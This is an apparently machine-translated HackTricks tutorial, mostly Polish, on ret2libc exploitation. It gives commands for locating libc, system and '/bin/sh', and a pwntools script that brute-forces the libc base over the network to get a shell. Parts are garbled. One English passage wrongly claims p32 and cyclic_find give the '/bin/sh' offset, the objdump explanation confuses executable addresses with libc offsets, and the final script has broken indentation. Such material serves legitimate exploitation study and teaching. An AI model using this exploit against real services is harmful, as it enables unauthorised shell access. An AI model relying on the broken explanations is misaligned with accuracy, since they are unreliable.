hacktricks/exploiting/linux-exploiting-basic-esp/ret2lib.md
2024-02-11 01:46:25 +00:00

5.9 KiB

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli znalazłeś podatny plik binarny i sądzisz, że możesz go wykorzystać za pomocą Ret2Lib, tutaj znajdziesz kilka podstawowych kroków, które możesz podjąć.

Jeśli jesteś wewnątrz hosta

Możesz znaleźć adres libc

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Jeśli chcesz sprawdzić, czy ASLR zmienia adres libc, możesz to zrobić:

for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done

Uzyskaj przesunięcie funkcji systemowej

To uzyskać przesunięcie funkcji systemowej, możemy użyć narzędzia objdump. Narzędzie to analizuje plik wykonywalny i wyświetla informacje o sekcjach, symbolach i funkcjach w pliku.

Aby uzyskać przesunięcie funkcji systemowej, wykonaj następujące kroki:

  1. Uruchom polecenie objdump -T <nazwa_pliku> w terminalu, gdzie <nazwa_pliku> to nazwa pliku wykonywalnego, w którym chcemy znaleźć przesunięcie funkcji systemowej.

  2. Przeszukaj wynik polecenia objdump w poszukiwaniu funkcji systemowej, której przesunięcie chcemy znaleźć. Możesz to zrobić, szukając nazwy funkcji systemowej, na przykład system.

  3. Znajdź wiersz, który zawiera nazwę funkcji systemowej i przesunięcie. Przesunięcie będzie znajdować się w kolumnie po prawej stronie.

Przykładowy wynik polecenia objdump -T <nazwa_pliku> może wyglądać tak:

...
00000000004005e0 g    DF .text  0000000000000013  Base        system
...

W tym przykładzie przesunięcie funkcji systemowej wynosi 00000000004005e0.

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

To get the offset of "/bin/sh", we can use the pwn module in Python. The pwn module provides a function called p32 that converts an integer to a little-endian byte string. We can use this function to convert the address of "/bin/sh" to a byte string and then find its offset in the payload.

Here is an example code snippet to calculate the offset:

from pwn import *

# Address of "/bin/sh"
bin_sh_addr = 0x12345678

# Convert the address to a little-endian byte string
bin_sh_bytes = p32(bin_sh_addr)

# Find the offset of "/bin/sh" in the payload
offset = cyclic_find(bin_sh_bytes)

print("Offset of \"/bin/sh\":", offset)

Replace 0x12345678 with the actual address of "/bin/sh" in your target binary. After running the code, it will print the offset of "/bin/sh" in the payload.

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

/proc/<PID>/maps

Jeśli proces tworzy dzieci za każdym razem, gdy z nim rozmawiasz (serwer sieciowy), spróbuj odczytać ten plik (prawdopodobnie będziesz musiał być rootem).

Tutaj możesz znaleźć dokładne miejsce, w którym jest załadowana biblioteka libc wewnątrz procesu i gdzie będzie załadowana dla każdego dziecka procesu.

W tym przypadku jest załadowana pod adresem 0xb75dc000 (Będzie to adres bazowy biblioteki libc)

Używając gdb-peda

Uzyskaj adres funkcji system, funkcji exit i ciągu znaków "/bin/sh" za pomocą gdb-peda:

p system
p exit
find "/bin/sh"

Omijanie ASLR

Możesz spróbować bruteforce'ować adres bazowy libc.

for off in range(0xb7000000, 0xb8000000, 0x1000):

Kod

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()    #Banner

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: